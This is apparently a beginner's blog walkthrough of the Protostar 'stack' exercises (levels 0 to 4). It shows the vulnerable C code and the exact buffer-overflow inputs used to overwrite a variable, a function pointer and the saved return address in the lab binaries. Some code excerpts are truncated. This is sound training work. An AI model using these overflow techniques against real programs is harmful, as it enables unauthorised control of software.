Jonatan Haltorp Blog

Protostar Exploit Exercises: Stacks Part One

Hello! - I’m pretty new to hacking, and so far I’ve solved some of the levels from the Exploit-Exercises “Nebula” series of challenges. The Nebula challenges mainly deal with exploiting the UNIX shell & programs that are running in it. So this is my first foray into more advanced exploitation.



This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

Included in the first level’s description is the source-code of the program we’re about to tear into.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
  volatile int modified;
  char buffer[64];

  modified = 0;

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");

This program reads from stdio into buffer. Both buffer and modified are allocated on the stack, when we feed gets more than 64 characters, the modified variable changes, since buffer overflowed into it.

$ python -c "print('@' * 64)" | /opt/protostar/bin/stack0
Try again?

$ python -c "print('@' * 65)" | /opt/protostar/bin/stack0
you have changed the 'modified' variable



This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.


  • If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
  • Protostar is little endian

In the source-code provided, the hexadecimal value 61626364 in ASCII encodes to “abcd”. Once again, the length of buffer is 64. So I used the same way of overflowing the buffer as last time.

$ /opt/protostar/bin/stack1/ `python -c "print('0'*64+'abcd'')"`
Try again, you got 0x64636261

We’re close, but as the hint said, protostar is little endian - meaning that the least significant bit is stored first. So “abcd” is stored as 64636261 in memory.

hex   ascii |
64    d     |  abcd in little endian: 0x64636261
63    c     |  abcd in big endian:    0x61626364
62    b     |  dcba in little endian: 0x61626364
61    a     |  dcba in big endian:    0x64636261

I’ll just flip things around & it should work =)

$ /opt/protostar/bin/stack1/ `python -c "print('0'*64+'dcba')"`
you have correctly got the variable to the right value




Stack2 looks at environment variables, and how they can be set.

// ...
variable = getenv("GREENIE");

if(variable == NULL) {
    errx(1, "please set the GREENIE environment variable\n");

modified = 0;
strcpy(buffer, variable);
// ...

This time we need to set modified to 0x0d0a0d0a, which in ASCII encodes to \n\r\n\r.

We accomplish this by using python & stuff.

$ GREENIE=`python -c "print('0'*64+'\n\r\n\r')"` /opt/protostar/bin/stack2
you have correctly modified the variable



Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)


  • both gdb and objdump is your friend you determining where the win() function lies in memory.

Using objdump I was able to determine the functions address, which means we’re Gucci. Giving the --prefix-addresses flag gives us the location in memory where win is stored.

$ objdump --disassemble --prefix-addresses /opt/protostar/bin/stack3 | grep win
08048424 <win> push %ebp
$ python -c "print('0'*64+'\x24\x84\x04\x08')" | /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Holy shit it actually worked =)


Stack4 takes a look at overwriting saved EIP and standard buffer overflows.


  • A variety of introductory papers into buffer overflows may help.
  • gdb lets you do “run < input”
  • EIP is not directly after the end of buffer, compiler padding can also increase the size.
void win()
  printf("code flow successfully changed\n");

int main(int argc, char **argv)
  char buffer[64];


I started out by finding out the location in memory where the win-function is stored, much like I did in stack3.

$ objdump --disassemble --prefix-addresses /opt/protostar/bin/stack4 | grep win
080483f4 <win> push % ebp

Now I started to give program input (python -c "print('a'* SOME_NUMBER +'\xf4\x83\x04\x08')" | /opt/protostar/bin/stack4) & observed what happened; If the program didnt crash - I made SOME_NUMBER bigger. If the program did crash, I just lowered the amount of leading as.

I started on 64, tried 70 (no crash), tried 80 (crashed), and with 76 leading as I was able to execute the win-function.

$ python -c "print('a'*76 + '\xf4\x83\x04\x08')" | /opt/protostar/bin/stack4
code flow sucessfully changed
Segmentation fault

I still got a segmentation fault though, well.. whatever :D

Thanks for reading.

Useful stuff: